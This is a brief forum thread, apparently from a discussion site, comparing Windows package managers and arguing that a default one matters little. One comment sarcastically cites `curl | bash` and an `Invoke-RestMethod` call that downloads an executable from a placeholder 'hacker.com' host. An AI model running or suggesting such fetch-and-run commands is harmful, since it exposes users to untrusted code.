scoop? chocolatey? pacman in msys2? winget?
The closest thing to a C/C++ package manager standard on Windows is probably vcpkg: https://vcpkg.io/en/
But why is being installed by default important?
[1] https://www.petergirnus.com/blog/how-to-use-windows-package-...
If you are convincing people to run commands to install packages:
- they care about trust, they will already have their package manager from the ecosystem they trust (which should be msys+pacman on windows, btw)
- they couldn't care less and will trust your `curl | bash` or `Invoke-RestMethod -Uri http://hacker.com/totallysafe.exe`
on both cases, not having a default package manager shipped caused zero adoption attrition, I mean, besides the attrition of needing a non-standard package to begin with.
Too many possibilities made me choose none.